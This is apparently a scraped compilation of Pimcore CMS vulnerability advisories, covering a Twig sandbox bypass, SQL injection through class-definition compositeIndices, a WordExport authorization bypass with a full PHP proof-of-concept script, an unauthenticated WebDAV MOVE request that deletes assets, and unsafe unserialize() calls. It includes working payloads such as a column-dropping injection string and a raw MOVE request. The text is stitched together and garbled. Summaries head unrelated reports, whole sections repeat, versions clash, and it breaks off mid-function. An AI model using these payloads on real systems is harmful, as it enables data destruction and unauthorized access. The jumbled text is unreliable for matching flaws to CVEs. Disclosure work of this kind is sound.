Pimcore CMS/DXP version 12.3.8 contains a sandbox bypass vulnerability that allows authenticated administrative attackers to execute arbitrary methods on PHP objects by exploiting empty checkMethodAllowed() and checkPropertyAllowed() implementations in the custom Twig SecurityPolicy. Attackers can supply malicious Twig templates through the DataObject ClassDefinition Layout\Text component to perform arbitrary file reads, execute arbitrary database queries, and potentially achieve remote code execution via PHP object gadget chains, with the pimcore_* function wildcard further broadening the bypass to all Pimcore Twig functions.

Pimcore CMS/DXP version 12.3.8 contains a sandbox bypass vulnerability that allows authenticated administrative attackers to execute arbitrary methods on PHP objects by exploiting empty checkMethodAllowed() and checkPropertyAllowed() implementations in the custom Twig SecurityPolicy. Attackers can supply malicious Twig templates through the DataObject ClassDefinition Layout\Text component to perform arbitrary file reads, execute arbitrary database queries, and potentially achieve remote code execution via PHP object gadget chains, with the pimcore_* function wildcard further broadening the bypass to all Pimcore Twig functions.

My name is Oscar Uribe, Security Researcher at Fluid Attacks. I am reaching out because we have identified a security vulnerability in Pimcore 12.3.3 that we would like to report to you so we can coordinate a responsible disclosure together.

As part of our standard disclosure measures, we follow a timeline (outlined at https://fluidattacks.com/advisories/policy), which is aligned with ISO/IEC 29147:2018 and ISO/IEC 30111:2019. In short, the timeline works as follows: we ask for acknowledgment of the report within a few days of your first accessing it, and from there, we are happy to coordinate a joint disclosure date with you, typically within 90 days of the initial discovery. This gives your team reasonable time to assess, develop, and release a fix.

We have reserved the CVE ID "CVE-2026-5394" for this issue, and the advisory will eventually be published at https://fluidattacks.com/advisories/dragons. We are committed to coordinating the timing of that publication with you.

Please feel free to reach out if you have any questions about the report, the process, or the timeline. We are glad to work with you on this.

Description

An authenticated administrative user who can import or save DataObject class definitions can inject attacker-controlled composite index metadata and trigger unintended SQL execution in the backend.

The vulnerable flow accepts compositeIndices from imported JSON, stores the values without strict validation, and later concatenates them directly into ALTER TABLE ... DROP INDEX and ALTER TABLE ... ADD INDEX statements executed through Doctrine DBAL.

Although the original report focused on compositeIndices.index_key, independent code review shows that the strongest and most reliable injection point is compositeIndices.index_columns, because it is inserted verbatim inside the ADD INDEX (...) clause. This permits injection of additional ALTER TABLE subclauses against Pimcore object tables without relying on stacked queries.

Vulnerability

Root cause

1. Source:
   • Pimcore\Model\DataObject\ClassDefinition\Service::importClassDefinitionFromJson() accepts compositeIndices directly from imported JSON.
2. Assignment:
   • Pimcore\Model\DataObject\ClassDefinition::setCompositeIndices() does not enforce an allowlist for index names or column names.
   • The only special handling is a ManyToOne relation rewrite to __id and __type, which is not a security control.
3. Sink:
   • Pimcore\Model\DataObject\Traits\CompositeIndexTrait::updateCompositeIndices() builds raw SQL with string concatenation and executes it via $this->db->executeQuery(...).
4. Missing protection:
   • quoteIdentifier() is used for the SHOW INDEXES query, but not for the dynamic ALTER TABLE statements.
   • No server-side schema validation restricts index_key or index_columns to known safe identifier characters.

Confirmed source-to-sink path

1. importClassDefinitionFromJson() decodes attacker-controlled JSON and forwards compositeIndices.
2. setCompositeIndices() stores those values without sanitizing identifier content.
3. ClassDefinition::save() reaches ClassDefinition\Dao::update().
4. Dao::update() calls updateCompositeIndices() for:
   • object_store_<classId>
   • object_query_<classId>
5. Localizedfield\Dao also calls updateCompositeIndices() for:
   • localized query tables
   • localized store tables

Why this is exploitable

The vulnerable ADD INDEX statement is built as:

'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'

$columnName is produced from implode(',', $columns) and is not quoted or validated. A malicious index_columns element such as:

slider), DROP COLUMN `oo_className` -- 

produces SQL of the form:

ALTER TABLE `object_query_<id>` ADD INDEX `c_poc_idx` (slider), DROP COLUMN `oo_className` -- );

This remains a single ALTER TABLE statement, so the base vulnerability does not depend on multi-statement support. The attacker can inject additional DDL clauses affecting the target Pimcore object table.

Impact

The issue allows a privileged attacker to alter backend SQL behavior during class-definition import/save and modify schema on Pimcore object tables associated with the affected class.

Practical impact includes:

• unauthorized schema modification on object query/store tables
• backend denial of service by breaking expected table layout
• data integrity impact for DataObject storage and queries

index_key is also concatenated into SQL without proper identifier escaping, but the most defensible exploitation path is through index_columns.

Relevant code:

• models/DataObject/ClassDefinition/Service.php:92-137
• models/DataObject/ClassDefinition.php:994-1006
• models/DataObject/Traits/CompositeIndexTrait.php:30-85
• models/DataObject/ClassDefinition/Dao.php:217-218
• models/DataObject/Localizedfield/Dao.php:945-951

PoC

Application-level PoC

Preconditions:

• valid authenticated administrative session
• ability to import or save a class definition containing compositeIndices

The original report reproduced the issue through an authenticated Studio endpoint:

POST /pimcore-studio/api/class/definition/configuration-view/detail/1/import

Minimal malicious JSON fragment:

{
  "compositeIndices": [
    {
      "index_key": "poc_idx",
      "index_type": "query",
      "index_columns": [
        "slider), DROP COLUMN `oo_className` -- "
      ]
    }
  ]
}

Reproduction:

1. Authenticate as an administrator with permission to manage/import class definitions.
2. Export an existing class definition or prepare a valid class-definition JSON document.
3. Replace only the compositeIndices section with the payload above.
4. Import the modified definition or save the class through the administrative workflow.

Expected result:

• Pimcore reaches updateCompositeIndices() during class save/import.
• The backend executes an attacker-influenced ALTER TABLE statement against the target object table.
• The affected class table is modified unexpectedly, for example by dropping a column or otherwise changing schema.

Minimal source-level confirmation

The behavior is directly visible from the code path:

$newIndicesMap['c_' . $key] = implode(',', $columns);
$columnName = $newIndicesMap[$key];
$this->db->executeQuery(
    'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'
);

No escaping or allowlist validation is applied to $columns before they are interpolated into SQL.

Evidence of Exploitation

• Video of exploitation:

https://github.com/user-attachments/assets/64a49147-12a5-4550-ba22-cb4383523557

• Static evidence:

Our security policy

We have reserved the ID CVE-2026-5394 to refer to this issue from now on.

Disclosure policy

System Information

Pimcore Platform Version v12.3.3 Database layer: doctrine/dbal ^4.4 Operating System: Any

References

Github Repository: https://github.com/pimcore/pimcore Security: https://github.com/pimcore/pimcore/security

Summary

The WordExport export flow only checks whether the current backend user has the feature permission word_export. It does not verify access rights on the target element itself.
As a result, a low-privileged backend user can export document content even when the user does not have view permission on that document.

In the local Docker reproduction, a low-privileged user successfully exported sensitive content from a page the user was not allowed to view:

• POC-WORDEXPORT-TITLE
• POC-WORDEXPORT-DESC

Root Cause

The controller only performs a feature-level permission check before starting the export flow:

• [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L41)
• TranslationController.php

It then directly resolves the target element from attacker-controlled type/id input:

• [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L56)
• [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L58)

For document-like elements such as Page and Snippet, it renders content in an admin context:

• [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L72)
• TranslationController.php
• TranslationController.php

No object-level authorization check such as isAllowed('view') is enforced on the target element.

Affected Scope

Based on the source code, the following element types may be affected:

• page
• snippet
• email
• object

For page-like documents, the pimcore_admin = true rendering context may expose additional backend-visible content.

Preconditions

• The attacker is an authenticated backend user
• The attacker has the word_export permission
• The attacker does not have view permission on the target document

Reproduction Environment

• Reproduction root: pimcore-12.3.3-repro
• Standalone PoC script: [poc_wordexport.php](pimcore-12.3.3-repro/tools/poc_wordexport.php)

<?php
declare(strict_types=1);

use Pimcore\Bundle\WordExportBundle\Controller\TranslationController as WordExportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\Document\Page;
use Pimcore\Model\User;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;

require dirname(__DIR__) . '/vendor/autoload.php';

define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));

try {
    \Pimcore\Bootstrap::bootstrap();

    $kernel = new \App\Kernel('dev', true);
    \Pimcore::setKernel($kernel);
    $kernel->boot();

    $container = $kernel->getContainer();

    /** @var RequestStack $requestStack */
    $requestStack = getService($container, [
        RequestStack::class,
        'request_stack',
    ]);

    $admin = User::getByName('admin');
    if (!$admin instanceof User) {
        fail('admin user is missing');
    }

    $auditor = User::getByName('auditor_wordexport');
    if (!$auditor instanceof User) {
        $auditor = new User();
        $auditor->setParentId(0);
        $auditor->setName('auditor_wordexport');
    }

    $auditor->setAdmin(false);
    $auditor->setActive(true);
    $auditor->setPassword(Authentication::getPasswordHash('auditor_wordexport', 'auditor-pass'));
    $auditor->setPermissions(['word_export']);
    $auditor->setRoles([]);
    $auditor->setWorkspacesDocument([]);
    $auditor->setWorkspacesAsset([]);
    $auditor->setWorkspacesObject([]);
    $auditor->save();

    $page = Page::getByPath('/poc-wordexport-secret-page');
    if (!$page instanceof Page) {
        $page = new Page();
        $page->setParentId(1);
        $page->setKey('poc-wordexport-secret-page');
    }

    $page->setPublished(true);
    $page->setController('App\\Controller\\DefaultController::defaultAction');
    $page->setTemplate('default/default.html.twig');
    $page->setTitle('POC-WORDEXPORT-TITLE');
    $page->setDescription('POC-WORDEXPORT-DESC');
    $page->setProperty('language', 'text', 'en', false, true);
    $page->setUserOwner($admin->getId());
    $page->setUserModification($admin->getId());
    $page->save();

    $canViewPage = $page->getDao()->isAllowed('view', $auditor);

    $tokenResolver = buildTokenResolver($auditor);
    $controller = wireController(new WordExportController(), $container, $tokenResolver);

    $exportId = 'wordexportpoc1';
    $exportRequest = new Request([], [
        'id' => $exportId,
        'data' => json_encode([
            ['type' => 'document', 'id' => $page->getId()],
        ], JSON_THROW_ON_ERROR),
        'source' => 'en',
    ]);

    $requestStack->push($exportRequest);
    $controller->wordExportAction($exportRequest, new Filesystem());
    $requestStack->pop();

    $downloadRequest = new Request(['id' => $exportId]);
    $requestStack->push($downloadRequest);
    $downloadResponse = $controller->wordExportDownloadAction($downloadRequest);
    $requestStack->pop();

    $wordContent = (string) $downloadResponse->getContent();

    echo json_encode([
        'vulnerability' => 'wordexport_authorization_bypass',
        'user' => [
            'id' => $auditor->getId(),
            'name' => $auditor->getName(),
            'permissions' => $auditor->getPermissions(),
        ],
        'target_page' => [
            'id' => $page->getId(),
            'path' => $page->getFullPath(),
            'title' => $page->getTitle(),
            'description' => $page->getDescription(),
            'user_can_view_page' => $canViewPage,
        ],
        'result' => [
            'download_contains_title' => str_contains($wordContent, 'POC-WORDEXPORT-TITLE'),
            'download_contains_description' => str_contains($wordContent, 'POC-WORDEXPORT-DESC'),
        ],
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
    fail(sprintf(
        '%s: %s in %s:%d%s',
        $e::class,
        $e->getMessage(),
        $e->getFile(),
        $e->getLine(),
        $e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
    ));
}

function wireController(
    UserAwareController $controller,
    ContainerInterface $container,
    TokenStorageUserResolver $tokenResolver
): UserAwareController
{
    $controller->setContainer($container);
    $controller->setTokenResolver($tokenResolver);

    if (method_exists($controller, 'setPimcoreSerializer')) {
        /** @var PimcoreSerializer $serializer */
        $serializer = getService($container, [
            PimcoreSerializer::class,
            'Pimcore\\Serializer\\Serializer',
        ]);
        $controller->setPimcoreSerializer($serializer);
    }

    return $controller;
}

function buildTokenResolver(User $user): TokenStorageUserResolver
{
    $tokenStorage = new TokenStorage();
    $proxyUser = new SecurityUser($user);
    $token = new UsernamePasswordToken($proxyUser, 'pimcore_admin', $proxyUser->getRoles());
    $tokenStorage->setToken($token);

    return new TokenStorageUserResolver($tokenStorage);
}

function getService(ContainerInterface $container, array $ids): mixed
{
    foreach ($ids as $id) {
        try {
            if ($container->has($id)) {
                return $container->get($id);
            }
        } catch (Throwable) {
        }
    }

    fail('Unable to resolve service: ' . implode(', ', $ids));
}

function fail(string $message): never
{
    fwrite(STDERR, $message . PHP_EOL);
    exit(1);
}

Reproduction Steps

1. Create a low-privileged user named auditor_wordexport with only the word_export permission and no document workspace permissions.
2. Create a test page at /poc-wordexport-secret-page containing sensitive values:
   • title = POC-WORDEXPORT-TITLE
   • description = POC-WORDEXPORT-DESC
3. Verify that the user does not have view permission on that page.
4. Execute wordExportAction() and wordExportDownloadAction() as that user.
5. Check whether the exported HTML contains the sensitive values.

Reproduction command:

cd pimcore-12.3.3-repro
docker compose exec -T php php tools/poc_wordexport.php

Reproduction Result

Relevant PoC output:

{
  "vulnerability": "wordexport_authorization_bypass",
  "user": {
    "name": "auditor_wordexport",
    "permissions": [
      "word_export"
    ]
  },
  "target_page": {
    "path": "/poc-wordexport-secret-page",
    "title": "POC-WORDEXPORT-TITLE",
    "description": "POC-WORDEXPORT-DESC",
    "user_can_view_page": false
  },
  "result": {
    "download_contains_title": true,
    "download_contains_description": true
  }
}

This shows that:

• The user cannot view the target page
• The exported file still contains the page's sensitive content

This confirms that the issue is practically exploitable.

Security Impact

• Unauthorized disclosure of structured page fields
• Unauthorized export of restricted backend content
• Potential exposure of unpublished or otherwise restricted content
• Lateral data access by low-privileged backend accounts

Remediation

1. Perform object-level authorization immediately after resolving the element from type/id.
2. Require at least view permission on the target element.
3. Apply consistent authorization checks across page, snippet, email, and object.
4. Bind export creation and export download to the requesting user or an equivalent authorization context.
5. Add regression tests to ensure that users with word_export but without element view permission cannot export content.

Summary

Pimcore's WebDAV asset endpoint exposes a MOVE operation through /asset/webdav{path} without adding an authentication plugin in the WebDAV controller. The Tree::move() implementation then performs asset mutation and deletion before checking a current Pimcore user or any asset permissions.

An unauthenticated remote attacker who knows two existing asset paths in the same directory can send a WebDAV MOVE request that deletes the source asset. Authenticated low-privileged users may also be able to perform unauthorized asset move or overwrite operations because the move path does not enforce rename, delete, create, or publish permissions.

Details

The route for WebDAV is globally registered and accepts arbitrary trailing paths:

# bundles/CoreBundle/config/routing.yaml
pimcore_webdav:
    path: /asset/webdav{path}
    defaults: { _controller: Pimcore\Bundle\CoreBundle\Controller\WebDavController::webdavAction }
    requirements:
        path: '.*'

The controller constructs a SabreDAV server but only attaches lock and browser plugins. It does not attach an authentication plugin or perform an explicit user/session check before starting the server:

# bundles/CoreBundle/src/Controller/WebDavController.php
$publicDir = new Asset\WebDAV\Folder($homeDir);
$objectTree = new Asset\WebDAV\Tree($publicDir);
$server = new \Sabre\DAV\Server($objectTree);
$server->setBaseUri($this->generateUrl('pimcore_webdav', ['path' => '/']));
$server->addPlugin($lockPlugin);
$server->addPlugin(new \Sabre\DAV\Browser\Plugin());
$server->start();

Most WebDAV file and folder operations perform permission checks through isAllowed(), but Tree::move() does not. In the overwrite path for a same-directory move, it deletes the source asset before resolving the current user:

# models/Asset/WebDAV/Tree.php
if (dirname($sourcePath) == dirname($destinationPath)) {
    if ($asset = Asset::getByPath('/' . $destinationPath)) {
        $sourceAsset = Asset::getByPath('/' . $sourcePath);
        $asset->setData($sourceAsset->getData());
        $sourceAsset->delete();
    }
    ...
}

$user = \Pimcore\Tool\Admin::getCurrentUser();
$asset->setUserModification($user->getId());
$asset->save();

Asset::delete() removes the asset without an internal permission gate:

# models/Asset.php
public function delete(bool $isNested = false): void
{
    ...
    $this->getDao()->delete();
    ...
    $this->deletePhysicalFile();
}

Because the source asset deletion happens before $user->getId(), an unauthenticated request can still cause a deletion even if later execution fails when no current user is present.

PoC

Prerequisites:

• Pimcore 2026.1.0 with the built-in WebDAV route enabled.
• Two existing asset paths in the same directory, for example /products/source.jpg and /products/existing.jpg.
• No valid session is required for the unauthenticated deletion path.

PoC request:

MOVE /asset/webdav/products/source.jpg HTTP/1.1
Host: target.example
Destination: http://target.example/asset/webdav/products/existing.jpg
Overwrite: T

Result:

The server will return an error after the deletion because Tree::move() later attempts to call $user->getId() when no current user exists. However, the source asset at /products/source.jpg has already been deleted by $sourceAsset->delete() before that failure point.

For an authenticated low-privileged backend user without sufficient asset permissions, the same request can also reach the unchecked move path and may overwrite the destination asset or move an asset without the expected per-asset permission checks.

Impact

This issue allows remote unauthorized destruction of assets when paths are known or guessable. In Pimcore deployments where assets represent product images, documents, media, or DAM-managed business content, deletion or unauthorized overwrite can cause data loss, content integrity loss, and service disruption.

GitHub Security Advisory Draft — GM-374

Summary

Multiple locations in Pimcore v11 call PHP's unserialize() on data from database columns and filesystem files without the allowed_classes restriction, enabling object injection if an attacker can control the serialized data source.

Severity

CVSS 3.1: 8.0 (High) — AV:N/AC:H/PR:H/UI:N/S:C/C:H/I:H/A:H

Affected Component

• Package: pimcore/pimcore and pimcore/admin-ui-classic-bundle
• Files:
  • lib/Tool/Authentication.php (line 82) — session token deserialization
  • models/Site/Dao.php (line 68) — site domains from database
  • models/DataObject/ClassDefinition/CustomLayout/Dao.php (line 69) — layout definitions from database
  • models/Tool/TmpStore/Dao.php (line 64) — temporary store data from database
  • models/Asset/WebDAV/Service.php (line 36) — delete log from filesystem
  • admin-ui-classic-bundle/src/Helper/Dashboard.php (line 64) — dashboard config from filesystem

Description

Six locations in Pimcore core call unserialize() directly (bypassing Tool\Serialize) on data sourced from database columns or filesystem files without passing the allowed_classes parameter. This means any class available in the autoloader will be instantiated during deserialization.

If an attacker can write to the data source (e.g., via SQL injection targeting the tmp_store, sites, or custom_layouts tables, or via a file write vulnerability targeting the WebDAV delete log), they can inject serialized PHP gadget chains that execute arbitrary code when the data is deserialized.

This is related to but distinct from the Tool\Serialize::unserialize() issue — these calls bypass the wrapper entirely.

Impact

PHP object injection leading to Remote Code Execution when chained with a data source write vulnerability. Pimcore's dependency tree (Guzzle, Symfony, Monolog, Doctrine) provides numerous known gadget chains.

Proof of Concept

1. Identify a writable data source (e.g., tmp_store table via SQL injection, or webdav-delete.dat via file write)
2. Write a serialized PHP gadget chain (e.g., Monolog BufferHandler chain from phpggc)
3. Trigger the deserialization (e.g., access a page that reads TmpStore, or trigger a WebDAV operation)
4. The gadget chain executes with web server privileges

Suggested Fix

Add allowed_classes parameter to all unserialize() calls. Where no objects are needed, use ['allowed_classes' => false]. Consider migrating to JSON serialization for data that doesn't require object preservation.

// Example fix for Site/Dao.php:
$siteDomains = unserialize($site['domains'], ['allowed_classes' => false]);

// Example fix for TmpStore/Dao.php:
$item['data'] = unserialize($item['data'], ['allowed_classes' => false]);

References

• CWE-502: Deserialization of Untrusted Data
• OWASP Deserialization Cheat Sheet
• phpggc: PHP Generic Gadget Chains

Pimcore CMS/DXP version 12.3.8 contains a sandbox bypass vulnerability that allows authenticated administrative attackers to execute arbitrary methods on PHP objects by exploiting empty checkMethodAllowed() and checkPropertyAllowed() implementations in the custom Twig SecurityPolicy. Attackers can supply malicious Twig templates through the DataObject ClassDefinition Layout\Text component to perform arbitrary file reads, execute arbitrary database queries, and potentially achieve remote code execution via PHP object gadget chains, with the pimcore_* function wildcard further broadening the bypass to all Pimcore Twig functions.

My name is Oscar Uribe, Security Researcher at Fluid Attacks. I am reaching out because we have identified a security vulnerability in Pimcore 12.3.3 that we would like to report to you so we can coordinate a responsible disclosure together.

As part of our standard disclosure measures, we follow a timeline (outlined at https://fluidattacks.com/advisories/policy), which is aligned with ISO/IEC 29147:2018 and ISO/IEC 30111:2019. In short, the timeline works as follows: we ask for acknowledgment of the report within a few days of your first accessing it, and from there, we are happy to coordinate a joint disclosure date with you, typically within 90 days of the initial discovery. This gives your team reasonable time to assess, develop, and release a fix.

We have reserved the CVE ID "CVE-2026-5394" for this issue, and the advisory will eventually be published at https://fluidattacks.com/advisories/dragons. We are committed to coordinating the timing of that publication with you.

Please feel free to reach out if you have any questions about the report, the process, or the timeline. We are glad to work with you on this.

Description

An authenticated administrative user who can import or save DataObject class definitions can inject attacker-controlled composite index metadata and trigger unintended SQL execution in the backend.

The vulnerable flow accepts compositeIndices from imported JSON, stores the values without strict validation, and later concatenates them directly into ALTER TABLE ... DROP INDEX and ALTER TABLE ... ADD INDEX statements executed through Doctrine DBAL.

Although the original report focused on compositeIndices.index_key, independent code review shows that the strongest and most reliable injection point is compositeIndices.index_columns, because it is inserted verbatim inside the ADD INDEX (...) clause. This permits injection of additional ALTER TABLE subclauses against Pimcore object tables without relying on stacked queries.

Vulnerability

Root cause

1. Source:
   • Pimcore\Model\DataObject\ClassDefinition\Service::importClassDefinitionFromJson() accepts compositeIndices directly from imported JSON.
2. Assignment:
   • Pimcore\Model\DataObject\ClassDefinition::setCompositeIndices() does not enforce an allowlist for index names or column names.
   • The only special handling is a ManyToOne relation rewrite to __id and __type, which is not a security control.
3. Sink:
   • Pimcore\Model\DataObject\Traits\CompositeIndexTrait::updateCompositeIndices() builds raw SQL with string concatenation and executes it via $this->db->executeQuery(...).
4. Missing protection:
   • quoteIdentifier() is used for the SHOW INDEXES query, but not for the dynamic ALTER TABLE statements.
   • No server-side schema validation restricts index_key or index_columns to known safe identifier characters.

Confirmed source-to-sink path

1. importClassDefinitionFromJson() decodes attacker-controlled JSON and forwards compositeIndices.
2. setCompositeIndices() stores those values without sanitizing identifier content.
3. ClassDefinition::save() reaches ClassDefinition\Dao::update().
4. Dao::update() calls updateCompositeIndices() for:
   • object_store_<classId>
   • object_query_<classId>
5. Localizedfield\Dao also calls updateCompositeIndices() for:
   • localized query tables
   • localized store tables

Why this is exploitable

The vulnerable ADD INDEX statement is built as:

'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'

$columnName is produced from implode(',', $columns) and is not quoted or validated. A malicious index_columns element such as:

slider), DROP COLUMN `oo_className` -- 

produces SQL of the form:

ALTER TABLE `object_query_<id>` ADD INDEX `c_poc_idx` (slider), DROP COLUMN `oo_className` -- );

This remains a single ALTER TABLE statement, so the base vulnerability does not depend on multi-statement support. The attacker can inject additional DDL clauses affecting the target Pimcore object table.

Impact

The issue allows a privileged attacker to alter backend SQL behavior during class-definition import/save and modify schema on Pimcore object tables associated with the affected class.

Practical impact includes:

• unauthorized schema modification on object query/store tables
• backend denial of service by breaking expected table layout
• data integrity impact for DataObject storage and queries

index_key is also concatenated into SQL without proper identifier escaping, but the most defensible exploitation path is through index_columns.

Relevant code:

• models/DataObject/ClassDefinition/Service.php:92-137
• models/DataObject/ClassDefinition.php:994-1006
• models/DataObject/Traits/CompositeIndexTrait.php:30-85
• models/DataObject/ClassDefinition/Dao.php:217-218
• models/DataObject/Localizedfield/Dao.php:945-951

PoC

Application-level PoC

Preconditions:

• valid authenticated administrative session
• ability to import or save a class definition containing compositeIndices

The original report reproduced the issue through an authenticated Studio endpoint:

POST /pimcore-studio/api/class/definition/configuration-view/detail/1/import

Minimal malicious JSON fragment:

{
  "compositeIndices": [
    {
      "index_key": "poc_idx",
      "index_type": "query",
      "index_columns": [
        "slider), DROP COLUMN `oo_className` -- "
      ]
    }
  ]
}

Reproduction:

1. Authenticate as an administrator with permission to manage/import class definitions.
2. Export an existing class definition or prepare a valid class-definition JSON document.
3. Replace only the compositeIndices section with the payload above.
4. Import the modified definition or save the class through the administrative workflow.

Expected result:

• Pimcore reaches updateCompositeIndices() during class save/import.
• The backend executes an attacker-influenced ALTER TABLE statement against the target object table.
• The affected class table is modified unexpectedly, for example by dropping a column or otherwise changing schema.

Minimal source-level confirmation

The behavior is directly visible from the code path:

$newIndicesMap['c_' . $key] = implode(',', $columns);
$columnName = $newIndicesMap[$key];
$this->db->executeQuery(
    'ALTER TABLE `'.$table.'` ADD INDEX `' . $key.'` ('.$columnName.');'
);

No escaping or allowlist validation is applied to $columns before they are interpolated into SQL.

Evidence of Exploitation

• Video of exploitation:

https://github.com/user-attachments/assets/64a49147-12a5-4550-ba22-cb4383523557

• Static evidence:

Our security policy

We have reserved the ID CVE-2026-5394 to refer to this issue from now on.

Disclosure policy

System Information

Pimcore Platform Version v12.3.3 Database layer: doctrine/dbal ^4.4 Operating System: Any

References

Github Repository: https://github.com/pimcore/pimcore Security: https://github.com/pimcore/pimcore/security

Summary

The WordExport export flow only checks whether the current backend user has the feature permission word_export. It does not verify access rights on the target element itself.
As a result, a low-privileged backend user can export document content even when the user does not have view permission on that document.

In the local Docker reproduction, a low-privileged user successfully exported sensitive content from a page the user was not allowed to view:

• POC-WORDEXPORT-TITLE
• POC-WORDEXPORT-DESC

Root Cause

The controller only performs a feature-level permission check before starting the export flow:

• [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L41)
• TranslationController.php

It then directly resolves the target element from attacker-controlled type/id input:

• [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L56)
• [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L58)

For document-like elements such as Page and Snippet, it renders content in an admin context:

• [TranslationController.php](pimcore-12.3.3/bundles/WordExportBundle/src/Controller/TranslationController.php#L72)
• TranslationController.php
• TranslationController.php

No object-level authorization check such as isAllowed('view') is enforced on the target element.

Affected Scope

Based on the source code, the following element types may be affected:

• page
• snippet
• email
• object

For page-like documents, the pimcore_admin = true rendering context may expose additional backend-visible content.

Preconditions

• The attacker is an authenticated backend user
• The attacker has the word_export permission
• The attacker does not have view permission on the target document

Reproduction Environment

• Reproduction root: pimcore-12.3.3-repro
• Standalone PoC script: [poc_wordexport.php](pimcore-12.3.3-repro/tools/poc_wordexport.php)

<?php
declare(strict_types=1);

use Pimcore\Bundle\WordExportBundle\Controller\TranslationController as WordExportController;
use Pimcore\Controller\UserAwareController;
use Pimcore\Model\Document\Page;
use Pimcore\Model\User;
use Pimcore\Security\User\TokenStorageUserResolver;
use Pimcore\Security\User\User as SecurityUser;
use Pimcore\Serializer\Serializer as PimcoreSerializer;
use Pimcore\Tool\Authentication;
use Symfony\Component\DependencyInjection\ContainerInterface;
use Symfony\Component\Filesystem\Filesystem;
use Symfony\Component\HttpFoundation\Request;
use Symfony\Component\HttpFoundation\RequestStack;
use Symfony\Component\Security\Core\Authentication\Token\UsernamePasswordToken;
use Symfony\Component\Security\Core\Authentication\Token\Storage\TokenStorage;

require dirname(__DIR__) . '/vendor/autoload.php';

define('PIMCORE_PROJECT_ROOT', dirname(__DIR__));

try {
    \Pimcore\Bootstrap::bootstrap();

    $kernel = new \App\Kernel('dev', true);
    \Pimcore::setKernel($kernel);
    $kernel->boot();

    $container = $kernel->getContainer();

    /** @var RequestStack $requestStack */
    $requestStack = getService($container, [
        RequestStack::class,
        'request_stack',
    ]);

    $admin = User::getByName('admin');
    if (!$admin instanceof User) {
        fail('admin user is missing');
    }

    $auditor = User::getByName('auditor_wordexport');
    if (!$auditor instanceof User) {
        $auditor = new User();
        $auditor->setParentId(0);
        $auditor->setName('auditor_wordexport');
    }

    $auditor->setAdmin(false);
    $auditor->setActive(true);
    $auditor->setPassword(Authentication::getPasswordHash('auditor_wordexport', 'auditor-pass'));
    $auditor->setPermissions(['word_export']);
    $auditor->setRoles([]);
    $auditor->setWorkspacesDocument([]);
    $auditor->setWorkspacesAsset([]);
    $auditor->setWorkspacesObject([]);
    $auditor->save();

    $page = Page::getByPath('/poc-wordexport-secret-page');
    if (!$page instanceof Page) {
        $page = new Page();
        $page->setParentId(1);
        $page->setKey('poc-wordexport-secret-page');
    }

    $page->setPublished(true);
    $page->setController('App\\Controller\\DefaultController::defaultAction');
    $page->setTemplate('default/default.html.twig');
    $page->setTitle('POC-WORDEXPORT-TITLE');
    $page->setDescription('POC-WORDEXPORT-DESC');
    $page->setProperty('language', 'text', 'en', false, true);
    $page->setUserOwner($admin->getId());
    $page->setUserModification($admin->getId());
    $page->save();

    $canViewPage = $page->getDao()->isAllowed('view', $auditor);

    $tokenResolver = buildTokenResolver($auditor);
    $controller = wireController(new WordExportController(), $container, $tokenResolver);

    $exportId = 'wordexportpoc1';
    $exportRequest = new Request([], [
        'id' => $exportId,
        'data' => json_encode([
            ['type' => 'document', 'id' => $page->getId()],
        ], JSON_THROW_ON_ERROR),
        'source' => 'en',
    ]);

    $requestStack->push($exportRequest);
    $controller->wordExportAction($exportRequest, new Filesystem());
    $requestStack->pop();

    $downloadRequest = new Request(['id' => $exportId]);
    $requestStack->push($downloadRequest);
    $downloadResponse = $controller->wordExportDownloadAction($downloadRequest);
    $requestStack->pop();

    $wordContent = (string) $downloadResponse->getContent();

    echo json_encode([
        'vulnerability' => 'wordexport_authorization_bypass',
        'user' => [
            'id' => $auditor->getId(),
            'name' => $auditor->getName(),
            'permissions' => $auditor->getPermissions(),
        ],
        'target_page' => [
            'id' => $page->getId(),
            'path' => $page->getFullPath(),
            'title' => $page->getTitle(),
            'description' => $page->getDescription(),
            'user_can_view_page' => $canViewPage,
        ],
        'result' => [
            'download_contains_title' => str_contains($wordContent, 'POC-WORDEXPORT-TITLE'),
            'download_contains_description' => str_contains($wordContent, 'POC-WORDEXPORT-DESC'),
        ],
    ], JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES), PHP_EOL;
} catch (Throwable $e) {
    fail(sprintf(
        '%s: %s in %s:%d%s',
        $e::class,
        $e->getMessage(),
        $e->getFile(),
        $e->getLine(),
        $e->getTraceAsString() ? PHP_EOL . $e->getTraceAsString() : ''
    ));
}

function wireController(
    UserAwareController $controller,
    ContainerInterface $container,
    TokenStorageUserResolver $tokenResolver
): UserAwareController
{
    $controller->setContainer($container);
    $controller->setTokenResolver($tokenResolver);

    if (method_exists($controller, 'setPimcoreSerializer')) {
        /** @var PimcoreSerializer $serializer */
        $serializer = getService($container, [
            PimcoreSerializer::class,
            'Pimcore\\Serializer\\Serializer',
        ]);
        $controller->setPimcoreSerializer($serializer);
    }

    return $controller;
}

function buildTokenResolver(User $user): TokenStorageUserResolver
{
